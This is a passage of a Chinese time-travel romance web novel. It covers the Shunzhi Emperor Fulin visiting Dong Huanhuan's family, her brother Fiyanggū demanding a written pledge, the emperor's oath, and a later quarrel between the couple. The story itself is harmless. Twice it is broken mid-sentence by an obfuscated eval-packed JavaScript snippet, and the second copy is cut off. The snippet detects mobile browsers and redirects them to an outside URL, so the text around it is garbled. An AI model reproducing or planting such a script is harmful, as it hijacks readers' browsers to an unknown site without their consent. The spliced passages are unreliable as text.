不过,事情都已经到了这个地步,即使是卫苑在,储秀宫那边怕是也做不到滴水不漏的护着她了,为了以防万一,她现在知道了也好,最起码能够让她心存防备,至少不会再出现她自己往危险上凑的情况了。 说实话,他再也承受不住一次,有人跑到他面前告诉他,他的姑娘当众受伤昏迷不醒了。 一想到这儿,福临放下手中的茶杯,望着董浣浣表情很认真很认真的说道,“如果我回答了你问的问题,你要向我保证,以后会好好保护自己,再也不会出现像这次一样的令我心惊胆战的事情了。” 董浣浣不知道去通知他的人,是怎么描述当时的情景的,不过异位而处,如果她听到了他被人推到了,然后头部受伤昏迷不醒,她大概会疯吧。所以听到他这个要求时,董浣浣没有丝毫犹豫就答应了,“我答应你,以后我一定保护好自己,离所有危险的事危险的人都远远的。” 福临听到她的保证,摸了摸她的头,语气温柔的说道,“既然这么真心实意的保证了就一定要做到哦,如果还有下一次,我不保证我还会安然无恙的出现在你面前哦。” 这是恐吓。 董浣浣清晰的意识到了他说这话的含义。 他这是拿自己的安危来恐吓她,让她好好保护自己。 “我没有听错吧,你这话是我理解的那个意思吗?”,董浣浣手指着自己,有些不敢相信的小声问道,“你是拿你的生命来威胁我,让我好好保护自己吗?” 福临笑,能这么快的明白他的意图,还不算太笨,“你没有理解错,就是这个意思”。 董浣浣被他的话给吓到了,“你是一国之君,身上担着的是万千黎民百姓的福祉,你怎么可以把自己的生命当儿戏一样和我绑在一块儿呢。”,说完连连摆手,怕福临执意如此,又特意强调了三遍,不行,不行,不行,我不同意。 “朕这不是和你商量,朕是在通知你。朕是天子说话自当是一言九鼎,断没有收回去的道理,既然知道朕是一国之君,朕的性命不能儿戏,那么就请你以后无论遇到什么事情都三思而后行,不要拿你的安危去冒险,朕是生是死,安全与否,就全仰仗你的一念之间了。” 这还是他第一次拿一国之君这个身份来压制她,因为深知她的秉性,虽然此刻答应了他不会以身犯险,但是日后为了帮助别人,她难免会头脑发热不管不顾,只有这样才能让她时刻都记得没有什么事情是比她的安危还重要的,虽然这个办法不是那么的光明磊落,但是为了她的安危,他必须要给她带好这个枷锁。 协议既定,绑定完成,就连一国之君的身份都搬出来了,在她面前自称了朕,福临这是完全不给她反抗的机会,就直接宣布了结果,董浣浣顿时觉得压力山大,整个人像是被带了枷锁一样,喘不过气来。 看到她这幅一脸忧虑的模样,福临便知道她把他的话记在心里了,心里的一块石头才算是真正的落了地,转而对她说道“现在我可以回答你刚刚问我的问题了。” 董浣浣刚刚被他打了岔,现在心里又装着他们性命绑定的事,一时间没有反应过来他在说什么,“你说什么?” 福临看了一眼一脸迷瞪的董浣浣,接着回答道,“是,石小睕的事情是我做的。” 董浣浣这才反应过来他是在回答什么问题,把生命绑定的事情暂时先放到一边,接着问道,“也就是说,送给石小睕戒指,故意把石小睕推出去误导众人去针对她的人,是你,那让钮祜禄.亦凝当众大闹的也是你吗,”,董浣浣不明白,“你为什么要这样做?” 福临听到她这样说,没有说话,脸色忽然变得有些难看,一句话也没有说,站起身来,走到窗边,负手站在窗边看向窗外。 董浣浣见状,这才意识到自己说的话有些不妥,也赶忙跟着起身,走到他的身后,看着他的背影一时间也不知道该说什么好。 许久,福临转过身来,看向董浣浣,语气低落的问道,“在你心里我是不是一个很卑鄙的人?” 董浣浣闻言,立刻摆着手摇动着脑袋辩驳,“不是的,不是的,我没有这个意思,我只是觉得你不会平白无故的去利用人,你一定有自己的苦衷,我想要听听你的解释”,呀,这样说好像也不对,董浣浣着急,这怎么有一种越描越黑的感觉,然后又慌忙改口道,“在我心里你从来都是个磊落的人,和卑鄙这个词一点关系都没有。” 说完拍着自己的头,一脸埋怨的低下头去,再也不敢看福临的眼睛,小声的责备自己道,“董浣浣你真是笨死了,话都说不好。” 福临看到她这副明明想要知道真相,又害怕伤到他的自尊心,急切的想要为他的作为找补的样子,难得的笑了,拉住她的手,让她冷静下来,说道,“再这样打下去恐怕真的会被你自己打傻的哦。” 见他没有生气,董浣浣这才抬起头来一脸嗔怪的瞪他,“还还不都是因为你今天一直这样故意吓我。” 福临见状又笑了,低下头来与她平视,顺着她的话接着说道,“对,对,对,都是我的错,这样你的心里有没有好受一些。” 哼,董浣浣在心里发出一声闷哼,果然男人的嘴都是骗人的鬼,这个高高在上的男人也不例外。之前还曾和她说过他很不会哄人,再看看现在这副熟练的样子,怎能让人信服。 不过说归说,他哄人的方式董浣浣还是很受用的。此刻他的眼睛就像是好像是带着某种魔力般的让人面红耳赤,董浣浣被他的这个动作蛊惑了,整个人羞得不成样子,憋了老半天才从嘴里憋出了一个,“嗯。” 福临对她这样的回答很是满意,然后话锋一转,接着说道,“其实,你也不用这么着急的替我辩解。” “磊落”,福临重复了一遍她刚刚说的话,然后点了下头,接着说道,“这个词很好,我很喜欢,只要在你心里我能够够得上这个词,我就满足了,至于说苦衷嘛”,福临看了一眼一脸期盼的等着他答案的董浣浣,说道,“那就是纯属子虚乌有了。” 听见他这样一再的自我贬低,董浣浣的心里很是不舒服,因为她清楚的知道,无论是在她眼中还是在其他人眼中,甚至是在历史课本中,他都是一个被值得称颂的好皇帝。 此刻的董浣浣,没有心思去管他会怎么想,也不在乎说完之后他会怎么说,掷地有声的替他辩驳道,“我不许你这样贬低自己,你一定要记住,磊落这个词用在你身上当之无愧,你就是大清朝现在最光芒万丈的存在,是这阳光下最明亮的风,有些苦衷你既然不想说,我也不是必须得知道,无论如何我都百分百的相信你。” 福临你知道吗,董浣浣在心里暗暗的想,你是我在这个时代里唯一的信仰,如果有一天连你都会被用上卑鄙这个词了,那我该如何自处,就算是为了我,为了你所惦念的黎民苍生,你也一定要磊落而光芒万丈的活着,不然我之后所要做的一切还有什么意义。 福临还是第一次看到她如此倔强不管不顾的帮他辩驳的模样,心里有些动容,“卑鄙,”福临语气玩味的重复了一下这个词,然后接着说道,“我六岁继位称帝至今受天下人朝拜,既然得到了这样的荣耀,自当也要承担与其相匹配的责任,这些都是我应当的, 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董浣浣伸出手,环抱住他的腰,脸贴在他的胸膛上蹭了蹭,像个猫儿一样蜷缩在他身上,此刻她什么都不想说了,只想抱抱他,给他安慰。 他说的对啊,是她太狭隘了,人无完人,人永远都不可能被所有人喜欢,只要问心无愧,就算是被有心人大骂卑鄙那又如何。 对于她此刻的表现,福临很是受用,一直手揽住她的肩膀,一只手抚摸着她的头,“浣儿,你知道我有多么庆幸遇到你吗,这漫长的帝王之路,我本以为会是我一个人孤独的走下去,没想到上天怜我,把你送到了我身边,让我这黑暗的人生里有了一丝光亮。这些事情我本不欲与你提及,总想着天真烂漫自由自在才适合你的本性,如今为了我自己的一时痛快,自私的把这些话说出来,对不起。” 她心爱的人啊,明明是高高在上的天子骄子,为什么此刻却卑微的如此可怜,董浣浣抱紧了他的腰,哽咽的安慰他道,“你没有对不起,你不用说对不起,你已经做得很好了,我喜欢听你说这些,以后只要你想说,我就听,不要这么的压抑你自己,我不喜欢你委屈自己。” 福临听到她这样说,欣慰的笑了,“只不过,浣儿你记住,我从来都不是一个良善之人。在这条皇权之路上,到处都是算计,处处都是心机,一个不小心就会落得个死无全尸的下场,这个世界上能让我全心全意付出真心的女子只有你和皇额娘而已,只要能够保护好你们,我什么都不在乎。” 董浣浣听他这样说,一脸不满的抬起头来,看向他。 低下头的福临准确的从她的眼睛里读到了,她想要说的话,不,不要把自己说的这么坏,你不是这样的人,福临笑了一下,伸出手替她擦干了眼角的泪滴,“交易这种东西,向来是你情我愿,她们想要得到她们想得到的,就要付出她们所应付出的,很公平,治理这天下已经花费了我太多的力气,剩下的精力也只够护着你们而已,无论是石氏也好,钮祜禄氏也好,我没有时间和精力用来浪费在了解她们做完交易之后的心情,她们恐怕也不需要我的关心。所以不要为我找借口,也不要为她们鸣不平,你最该关心的人是你自己,明白吗?” 听到他这样说,董浣浣乖乖的点了个头,说了声“嗯”,然后还想再说些什么的时候就被敲门声给打断了,门外吴良辅的声音传来,“主子,都准备好了,是要现在出发吗?” 福临冲着门外吩咐道,“朕知道了,你去马车旁候着就好”,吴良辅应声离开,福临说完低下头看向董浣浣,“你刚刚是还有什么话想要和我说吗?” 算了,时机错了,还是不说了,董浣浣摇了摇头,“没有了,我们回家吧。” 福临轻刮了一下她的鼻梁,语气宠溺的说道,“好,我们回家。” 89. 回家 虽说古代的北京城的面积和现代的不能同日而语,但是为了掩人耳目,兜兜转转的从汤师父家到董鄂府的偏门还是花费了他们大半天的时间,以至于他们下午出发到达董鄂府的时候已经是月明星稀了。 车还未停,董浣浣撩开了一小块窗帘,借着微微的灯光,远远的就看到她家阿玛和额娘已经站在门口等候了。 看着那一双立影,董浣浣的心涌出了一种前所未有的归属感。 啊,这里是她的家啊。 在这个陌生的时代,她也有了个无论何时无论何种处境都可以奔赴的地方。 真好。 回家的感觉真好。 在伤病未愈的时候,谁会不想回家呢。 “主子,到了。”,马车外传来单良的通传声,随即便是车凳的落地声。 “知道了”,福临应声走出车外,抬手对正要跪拜的鄂硕夫妇说了声,“一家人小聚,又没有外人在,这些虚礼就都免了吧”。 鄂硕夫妇听到他这样吩咐了也不便多言,谢了恩之后便转过身站到了一边,方便福临下车。 董浣浣紧随着福临的脚步从车厢里走出来,却在下马车的时候犯起了难。 一直以来他们俩拉拉扯扯的亲密惯了,董浣浣想着他们最起码也是男女朋友的关系,也不觉得有什么不习惯,上次被他当着父母的面抱起来的时候她是昏迷的,也不用做出任何反应,直到现在她清醒着面对阿玛和额娘凝视,董浣浣才察觉出味来,有了一种丑媳妇见公婆的羞涩感。 望着福临伸出来的两只手,董浣浣有些不好意思的婉拒道,“不用了,我自己可以下去的。” 福临闻言只消一眼便看出了她的心思,轻笑了一下,以只有他们两个能听到的声音说道,“那可由不得你,乖乖的抓紧我哦”,说完还没等董浣浣反应过来,便把她的手放到他的肩膀上,然后一把把她给抱下了车。 他这是要干什么?! 董浣浣被他这突如其来不讲理的动作给吓到了,只能死死的抓住他的脖子,任由他抱下车。 额……他今天有点奇怪,变得有些……孩子气,惊魂未定的董浣浣面红耳赤的想。还有既然如愿的抱她下来了,为什么还不把她放下来,阿玛和额娘他们都看着呢,多让人难为情啊,董浣浣小声的冲着福临的耳朵和他商量道,“现在可以放我下来了吗?” 福临听到她这样说,遂低头在她耳边回道,“可以是可以,不过浣儿你要习惯……” 福临话说一半停顿了一下,便不在开口。 董浣浣很自然的上了钩,“习惯什么”,董浣浣不明白。 福临笑着回答道,“习惯被我抱着下车。” 他的呼气声撩的董浣浣的耳朵痒痒的,内容更是让董浣浣的耳朵娇艳欲滴。 就在此刻董浣浣的脑袋里冒出了一个不要命的想法,如果当着这么多人的面,冲着他这个一国之君的后背狠狠的敲几下,让他以后再也不敢在大庭广众下这么的口无遮拦,会不会被株连九族啊? 不过她也只是想想,过个脑瘾,即使福临不怪罪,在选秀这个节骨眼上,恃宠而骄也是万万不能的,借她一百个胆子她也不敢这样造次,万一不小心被哪个有心人氏看到了一通编排,那她和董鄂家就吃不了兜着走了。总之他们的关系被曝光事小,以下犯上才是万万要不得的,最终董浣浣还是像个鸵鸟一样羞怯的把脸使劲的往他的肩膀处埋了又埋。 本来因为她刚刚的刻意疏离有些恼,还想着惩罚她抱着她进去的福临,被她这一动作给顺了毛,决定这次就放过她了,小声的冲着她的耳朵说道,“这次就先放过你了,下不为例哦,董浣浣你记住,你永远别想和我撇清关系。” 他说这话的时候语气平缓而温柔,仿佛是在说什么甜言蜜语,只是尾音稍稍上扬,让人不得不正视这是一句恐吓。 董鸵鸟听到他这样说,在他肩膀上很温顺的点了点头,算是答应了。 见她答应了,福临也不在逗她,按照她的要求,轻轻的把她放在了地上,等她站稳后才收回了扶住她肩膀和腰的手,然后走到鄂硕和颜冉的跟前,留下董浣浣站在原地木鱼状。 福临走到鄂硕面前就像是普通的晚辈见到长辈一样很恭敬的弯腰拱手道:“鄂硕大人”,然后转过身去看向鄂硕夫人同样拱手道,“夫人”。 被天子以晚辈之礼参拜,鄂硕夫妇什么时候见到过这种场面啊,被吓得魂差点都飞了,还没等福临的话说完,鄂硕便开口请罪道,“这可使不得,这可使不得,皇上您这可是折煞微臣了,微臣哪能受您如此大礼,”说完夫妻二人便很有默契的双双屈膝准备下跪请罪,却被福临一手一个给拉住了。 “鄂硕大人,夫人,不必如此拘礼,我刚刚已经说过了,今天我不是以一国之君的身份来这里的,而是以她未婚夫的身份来这里登门谢罪的,抱歉因为我的失职,在宫里没能照看好她,让她的头部受了些伤。” 官场沉浮多年,比起福临刚刚的举动这番话对鄂硕而言明显好应付多了,等到福临说完之后,鄂硕赶忙回复道:“此事微臣已经从吴公公那里知道了事情的经过,这件事纯属是个意外,皆是因为小女不小心所致和其他人无关,和您更是无关,您不必如此挂怀。” 见到鄂硕如此态度,福临也不强求,目光转向董浣浣,鄂硕夫妇见状也随着他的目光看向董浣浣。 又是这样一幅神游天外而又愁眉不展的表情,最近她总是流露出这样的神色,每当她流露出这样的神色时,他的心就莫名的发慌,会有一种她随时可能离开他身边的危机感。 不,不会,无论发生什么事情,他都不会让她离开他的,福临定了一下神出声道,“夜色微凉,她的头伤未愈,受不了风寒,我们可不可以进去叙话。” 鄂硕闻言,立即心领神会的接话道,“对,对,对,是微臣怠慢了,您请进,这门口人多眼杂的,着实不宜久留。”,说完躬身做了一个请的姿势。 站稳后的董浣浣望着和她阿玛额娘寒暄的福临的背影有些迷惑,今天他怎么变得如此奇怪? 他是知道了些什么吗? 他说,董浣浣你别想和我撇清关系,不是他常叫的浣儿,也不是董鄂.浣浣,偏偏是董浣浣,还说不要和他撇清关系,这到底是无意的逗弄,还是有意的示警? 明明一直以来她都掩饰的挺好的,不曾显露分毫啊,到底是哪里出现了问题,让他察觉出了不妥…… 不过这厢还没等她想清楚,那厢的三个人便已经寒暄完毕了。 望着齐刷刷的看向她的三个人,神游天外的董浣浣自然是不知道他们刚刚都说了些什么,此刻被他们盯得有些发毛,不明所以的开口小声试探道,“怎么了吗?” 三人看到她这幅懵懂无知的模样,互相交换了个眼神,便一切都在不言中了。 接着福临走到她跟前笑着拉住了她的手对她说道,“没怎么,我们回家”。 董浣浣闻言总觉得哪里有些不对劲却一时间又无法具体的说出来到底是哪里不对,便傻愣愣的回答了一声,“哦”,然后顺着福临往家里走。 “小姐!” 董浣浣刚一进家门,小柒就向她飞奔而来,完全不顾还站在她身边的福临,扑进了她的怀里,呜呜的哭出声来。 看到被挤到一边的福临,吴良辅眉头一紧,董鄂氏夫妇也是一头包,今天本来就够乱了,现在又闹这一出,小柒这丫头真是被宠得越来越放肆,越来越没有规矩了,这样对皇上不敬,要是皇上怪罪下来,她有几个脑袋都不够砍的,几人刚想上前呵斥她的行为,却被福临出声给制止了,“无碍,她们只是太久没有见面了而已,我们就不要在这里煞风景的妨碍她们了,先进去吧。” 几人见福临这样说了,便只能作罢任由她们腻歪去了。 追着小柒姗姗来迟的紫鸢,先是走到福临的跟前行了礼,接着走到董浣浣的跟前,拉住董浣浣的胳膊,左看看右看看仔仔细细的检查了一通,最后目光停在了董浣浣的额头上,“小姐,你还好吗,头还疼不疼,有没有问过大夫会不会留疤,还有其他地方受伤吗?” 董浣浣摇摇头,一把把紫鸢也拉进了怀里,“你就放心吧,大夫已经检查过了,没有什么大碍,过几天就好了。” 紫鸢这才放心下来,小声的念叨着,“没事就好,没事就好。” 三人在院子里好一顿倾诉之后,董浣浣想到福临他们此刻还在正厅上等她,才意犹未尽的拉着小柒和紫鸢一同回房。 董鄂家正厅。 一群人围坐在桌边,你看看我,我看看你,一时间都没有开口说话。 这是福临第一次正式的在他们家吃饭,鄂硕身为一介武夫,虽然在官场上打拼多年,有一定的交际经验,但是这样正式的宴请皇帝还是大姑娘坐花轿头一遭,心情多少有些忐忑。 不过毕竟也是经历过大风大浪之人,看见皇上这等他开口的架势,鄂硕稳了稳心神,端起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815914|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒杯站起身来开口道,“今日皇上莅临寒舍,微臣万分荣幸,清寒小菜,照顾不周之处,还请皇上多多担待。” 董浣浣看了眼桌上的七大碟八大碗,山珍海味,琼瑶佳酿,在心里默默的给她家阿玛点了赞,真能自谦! 福临见鄂硕起身,也端起面前的酒杯站起身来,“鄂硕大人言重了,今日我并非以皇上的身份来此,一家人小聚,就不必这样拘礼了”,说完一饮而尽,并招呼其他人可以开吃了。 这一而再再而三的强调,就是块木头也该知晓他的态度了,更何况是混迹官场多年的鄂硕了,他趁大家不注意的时候给颜冉使了个眼色,夫妇二人心里便都有数了。 董浣浣望着招呼大家吃饭,还不忘给她夹菜的福临,心有又浮现出那种说不出道不明的感觉了。 这种明明像是感觉到了些什么却又具体说不清楚的感觉真让人难受,董浣浣有些憋闷的抬头看了一眼阿玛,却发现他也在意味深长的看着她。 得,阿玛为什么也这样! 那眼睛里仿佛藏着许许多多的话,可是她却一句话也看不出来,又不能当着福临的面开口问,真是烦躁! “怎么了吗,是不是饭菜不和胃口?” 福临把一个过了水的牛肉片放到她的碗里,见她迟迟不动筷,开口问道。 董浣浣摇摇头,“没什么,就是坐了一下午的马车,有些乏了,走了下神。” 福临听她这么说,轻敲了一下她面前的碗说道,“听话,累了就抓紧吃点东西垫垫胃,早点去休息”。 这一动作立刻引起了其他的注意,余光齐刷刷的向他们这边看过来。 那是一种大家好像都在各自忙碌并没有注意到你,其实你却可以清楚的感觉到他们都在看你的状态。 羞死人了! 董浣浣此刻真的很想找个地缝钻进去,可是为了规矩以及脸面,还是不得不乖乖的拿起筷子说了声,“哦”,然后以一种鸵鸟埋沙的心态开始吃起饭来。 其他人见状也像什么事情都没有发生似的,接着继续吃饭。 席间福临和阿玛就兵法,武学以及如今的形势有一搭没一搭的闲聊着。 董浣浣以为这顿饭就要在这样陌生又熟悉,尴尬而又和谐的矛盾中度过了,谁知饭吃到一半的时候,一直没怎么说话的费扬古突然站起身来,走到福临的面前,把酒杯递给福临,神色极其认真的说道,“爱新觉罗.福临,我想和你谈谈。” 他的这一动作着实把鄂硕夫妇吓得不轻,虽然皇上的意思是拿他们当家人,但是即使是当家人该守的规矩还是要守的,这是鄂硕夫妇刚才眼神交换之后统一的观点,只是没想到一向沉默寡言的儿子,竟然会做出如此耸人的举动。 直呼其名,好家伙,简直是吃了熊心豹子胆了,皇上大概从登基之后就没有被人这样连名带姓的称呼过了,两夫妻不约而同的赶忙走到费扬古面前拉着他一起跪下,“小儿年幼不懂规矩,冒犯了皇上,还望皇上恕罪。” 其他人见状也纷纷的跪了下去。 虽然知道依照福临的性格大抵是不会为难费扬古的,但是身为董鄂家的一员看到其他人这样,董浣浣也只能硬着头皮走过去,和他们跪在了一起。 福临望着跪在他面前的众人,一种前所未有的失落感油然而生,冷冷的开口道,“一定要这样吗?”,然后又看向董浣浣说道,“连你也要这样吗?”,说完从费扬古手中拿过酒杯仰头一饮而尽,把杯子重重地摔在了桌上,说了声,“你们都起来吧,今天的事谁要敢说出去半个字格杀勿论”,说完抬脚就要离开。 “你这是要走吗?”,费扬古挣开父母的束缚站起身来冲着福临的背影扬声道。 福临闻言,停住了脚步。 “你都不问问我准备和你谈什么吗?”,费扬古接着说道。 直呼皇上大名,然后你,你,你说个不停,大逆不道,简直是大逆不道,鄂硕夫妇快要被费扬古这一连串的操作给吓出病来了,慌乱的拉住他想要阻止他接下来的动作,却被福临出声给打断了,“不要打断他,”福临转过身来看向费扬古,“说吧,你想和朕谈什么?” “我想让皇上给我立个字据”,费扬古答道。 福临重复了一下他的话,“立个字据?” 费扬古不卑不亢的应道,“对,立个字据。” 福临闻言笑出了声,但是很快他便敛去了笑容,一脸严肃的反问道,“你今年多大年纪了?” 90. 此生不负 “你今年多大年纪了?” 望着一脸威严的福临,年幼的费扬古并未感到恐慌,语气平和的不答反问道,“我的年纪和我们之间的谈话有什么必然的联系吗?” 福临点头,“当然,这事关你能不能对你说的话负责。” 费扬古闻言轻笑了一下,回答道,“如果你只是担心我能不能为我自己今天的所作所为负责,那你大可以放心,虽然我现在的年纪在你们看来尚轻,但并不妨碍我可以为我自己说过的话,做过的事情负责,我认为人从会说话的那刻起就应该为自己的所作所为负责任了,和现在多大年龄无关。” 福临听他这样说,点了点头,“很好,说的很好”,然后接着问道,“直呼天子姓名,你知道按照大清例律该当何罪吗,你确定你可以担当的起?” 福临的话音刚落,费扬古不以为然的撇了撇嘴,然后轻蔑的吐出了两个字,“虚伪。” 这下不光鄂硕夫妇被吓到了,就连董浣浣也被吓到了,从什么时候起,他家弟弟变得如此蛮横无理,不懂规矩,直呼皇上姓名,当面说他虚伪,如果福临计较起来,整个董鄂氏恐怕都要为他的行为买单,不复存在了,虽然她来这里与他们相处的时间不长,但是她可以确定她家弟弟一直是个讲文明懂礼貌的好孩子,怎么今天突然变成这样了呢。 不过此时她没有时间多想,只能硬着头皮先开口帮他找补,“皇上,他年龄小不懂事,没见过世面,口无遮拦的,你别跟他一般见识,就放过他这次吧,我一定叮嘱阿玛以后要好好的管教他。”,说完看向鄂硕夫妇。 鄂硕夫妇听完董浣浣的话也拼命的点头附和,心里大呼救命,这小子今天到底是怎么了,怎么会变得如此不懂规矩,他到底知不道他这样说话会给整个董鄂氏带来什么样的后果! “你刚刚唤我什么”,听完董浣浣的话,福临的脸突然凑到她的面前,看着她的眼睛语气危险的问道。 “啊?”,情急的董浣浣被他这突如其来的动作给吓着了,一时间没有反应过来他为什么要这样问,傻愣愣的顺着他的问题回答道,“皇上啊。”,说完又马上反应过来,他之前说过不喜欢她在非公开场合这样称呼他,可是现在这种情景算是非公开场合吗,董浣浣有些拿不准主意,算了,此刻也不是计较这些的时候,还是先道歉比较保险,于是怯生生的低下头去,从嘴里轻轻吐出了几个字,“对不起,我错了、、、、、、” 福临见状叹了口气,收起咄咄逼逼人的视线,把董浣浣从地上扶了起来,顺便让跪在地上的其他人也起来,“地上凉,你这还病着呢,不要动不动就跪下,这么不知道爱惜自己”,说完吩咐吴良辅倒一杯热茶过来。 吴良辅应声去沏茶。 等到从吴良辅的手中接过茶,福临接着说道,“只此一次,下次不准再这样唤我了,明白吗?” 被扶起来的董浣浣,乖乖的点头,“知道了,下次不会了”。 听到她这样说福临语气温柔的确认道,“是不会动不动就跪下,还是不会那样唤我了,要说清楚。” 董浣浣小声的回答道,“都不会了。” 福临听到她这样说满意的点了点头,说道,“一定要记住你今天说的话,下不为例哦。”,然后把茶递给她。 接过茶的董浣浣不知道他的葫芦里到底是卖的什么药,也不知道他会怎么处置她家弟弟,于是一脸忧心的望着他,眼睛里尽是乞求之色。 福临看出了她眼神中的含义,摸了摸她的头道,“放心吧,我不会拿他怎样的。” 待做完这一些列操作之后,福临再次看向费扬古,换上了一副严肃的表情,语气的问道“你知道你刚才的那话要是传了出去,将会给整个董鄂氏带来什么吗?” 费扬古闻言,语气平静的说道,“在这里你想要平等不是吗?” 说完看了福临一眼,在得到福临的示意后又接着说道,“在这里你想做我姐夫而非大清朝的皇帝不是吗,你和阿玛说你不是以天子的身份来我家的,不让我阿姐唤你皇上,却又要以天子的身份来定我的罪,岂不是自相矛盾,虚伪至极。就像你希望的那样,我们能不能来场男人之间的对话,而不是在这里整这一出有的没的。” 听到他这样说,福临突然笑了,没想到他这一晚上的明示暗示只有费扬古听进去了,更没想到有一天他居然让一个五岁小儿给绕进去了,“就算你说对了,可是按照你说的,既然我不是以大清皇上的身份与你交流,你凭什么认为我会答应你的请求,并且以后不会反悔?” 费扬古闻言,直视着福临的眼睛很认真的回答道,“君子一言,驷马难追不是吗?” “好”,福临欣赏的拍了一下手冲着费扬古说道,“就凭你说的这句话,今天无论你提什么要求,我都答应你!” 听到福临这样说,鄂硕夫妇两人反倒是慌了,害怕费扬古再说出什么兜不住的惊天言论来,赶忙上前阻止,“皇上这可使不得,他年龄还小,您别听他在这里胡言乱语。” 福临闻言挥了挥手,“无碍,今天都是自家人”,说完站起身来,亲在把鄂硕扶起来,引到椅子跟前,双手扶住鄂硕的肩膀让他坐下,“岳丈大人您莫慌,安心坐在这里,我们年轻人的事情,我们自己解决就好了。” 见鄂硕还欲起身想说些什么,福临接着开口道:“再说了,我倒是真的很好奇我家小舅子会对我提出什么样的要求。” 福临的态度已经表现的太明显了,鄂硕也不好再说些什么了,只能看向费扬古用眼神暗示他好好说话。费扬古回了他一个“放心”的眼神,鄂硕便不再多言,静待事态发展。 “说吧,你想向我提什么要求,尽管说吧。”,福临走到自己的位置坐下来,端起茶杯喝了一口,然后望向费扬古道。 费扬古望着他,神色一凛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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听到这里,董浣浣已经是泪眼朦胧,她跑到父亲与弟弟的跟前环住他们的脖子,哽咽道,“你们为什么要这么好,好的我都没办法离开你们了”。 今天一晚上都在小心翼翼的扮演着谨小慎微的朝臣形象的阿玛,第一次和弟弟站在了同一战线上,结果却是为了她,她上辈子到底是做了什么拯救宇宙的大善事了,让她前世今生都可以遇到这么爱她的家人。 她董浣浣在心里暗暗发誓今生无论在哪里都会尽自己最大的努力保护好她身边的亲人,让他们一生安乐无虞。 “好了,我答应你们了,你们大家都起来吧”。 陷入感动中无法自拔的董浣浣听到福临的声音在背后响起,这才察觉到自己的失态,赶忙擦干眼泪,把阿玛和弟弟从地上扶了起来。 鄂硕和费扬古从地上站起来以后,不约而同的谢恩道,“臣/草民,谢皇上成全。” 待他们说完之后,福临接着说道,“我答应你们的要求是为了让你们安心,不是为了万一。现在,在这里,在你们的见证下,我要许下我的承诺,本人,爱新觉罗.福临,以大清皇帝之位起誓,此生绝不负她!” 92. 单方面冷战 她和福临冷战了。 她和福临冷战了。 确切的说,是福临单方面的不理她了。 那天晚上福临将她送回房间之后,便转身离开了,没有给她任何解释的机会。 董浣浣辗转反侧了一夜,最终决定还是拉下脸好好去哄哄他,结果从阿玛的嘴里得知福临天还没亮就已经回宫去了。 董浣浣很难受,心里像是憋了口气,上不上,下不下的,横亘在心间,他这是算准了时间,根本不给她开口的机会,让她自我反省,自我愧疚。 他真的生气了…… “哎……” 已经回宫两天了,董浣浣望着窗外,再一次的忍不住的开口叹气。 在即将分别的时刻,她真的不想让他们最后一点可以好好相处的日子,在冷战中度过。 更不想以后,每每想到这段日子,都在后悔没能好好的哄哄他。 可是这两天,当福临通过李公公的嘴,各种明里暗里的告诉她,他在等着她去哄他,董浣浣便又却步了。 她知道福临既然让李公公来说,那么态度就已经很明显了,他这是在告诉她,别想从他身边逃走,逼她做好公开他们之间关系的准备。 她不经意间说出来的心声,恰好是他一直强调绝对不能妥协的逆鳞。 她的话,让他在他们这段关系中彻底失去了安全感,为了找回他的安全感,凭他的性格和身份,他一定会做出一些惊天动地的举动来…… 一旦她去了,就是同意了他所要做的事情,后面的事情,就很有可能完全出乎她的预料,不受她的控制了。 董浣浣承认,她是个胆小鬼,她不想这么快的让他们的感情卷入到这王权纷争的纷纷扰扰中。 特别是在现在这种特殊时期,她不想再给他增加负担了。 离开家之前听阿玛说,现在八旗已经闹得很凶了,多尔衮已死,也没有一个能给他镇场的人。如果再因为她,和蒙古各部闹僵,福临的处境只会更加的艰难。 少年天子,正值朝堂乱势,根基不稳,如果再因为一个女人闹得满城风雨的,董浣浣都能想到她和福临会被有心人可以传播成什么样子。纣王与苏妲己,周幽王和美人,或者更难听。 更何况之前已经传出来一个石小睕,如果再加上一个她,情况只会变得更复杂,福临在世人眼中会被恶意造谣成一副什么样子,她不敢想。 说她什么她倒是不怕,但是她不想让他受如此委屈。他明明有那么多的雄心抱负,那么多的治世之才,他忍辱负重到现在,不应该被如此对待。 其实一直有一件事情,董浣浣想不明白,身为福临的谋士,阚先明为什么会在那个节点去刺杀多尔衮。 都说福兮祸所依,祸兮福所倚,就连她这个头脑简单之辈都知道,福临羽翼未丰,各方势力明里暗里较劲。虽然多尔衮一家独大,让福临举步维艰。但是,目前的情形,多尔衮的存在,至少可以起到一个压制作用,让福临有足够的时间去拉拢其他各方为他所用。 可是现在多尔衮暴毙,福临又没有绝对的控制权,形成了一片散沙,又各自为营的局面,一旦他们达成某种利益共通,起兵谋反,后果将不堪设想。 虽然根据所学的历史知识,她知道这些担心都是多余的,可是身为局中人,董浣浣还是无法不替福临捏一把汗。 就像阚先明给她的信里所言,福临现在似乎只有和蒙古联姻,娶孟古青,联合蒙古各部,这一条路可走了…… 董浣浣不懂,身为谋士,难道不应该为主公提供多种方案可供选择吗,为什么要斩断福临其他可以选择的路,甚至不惜用性命道德绑架福临非得选择这条路。 他就不怕,蒙古有异心,拥护他人,让福临彻底陷入绝境吗? 阚先明这样做的理由,到底是什么呢? 越想越忧心忡忡,董浣浣又忍不住的叹了口气。 “这又是怎么了,这磕了一下脑袋,怎么整人人都变得如此多愁善感起来,这一点也不像你的性格啊。”,从门外刚回来的赫舍里.青柠看到她这幅悲天悯人的样子,忍不住吐槽道。 董浣浣闻言,转过头去,就看见赫舍里.青柠扶着腰拖着沉重的步伐走进来。 董浣浣赶忙起身去扶她,问道,“你这是怎么了?” “还能怎么了,还不是因为那个可恶的灭绝师太啊,真是个爱作怪的老妖婆。” 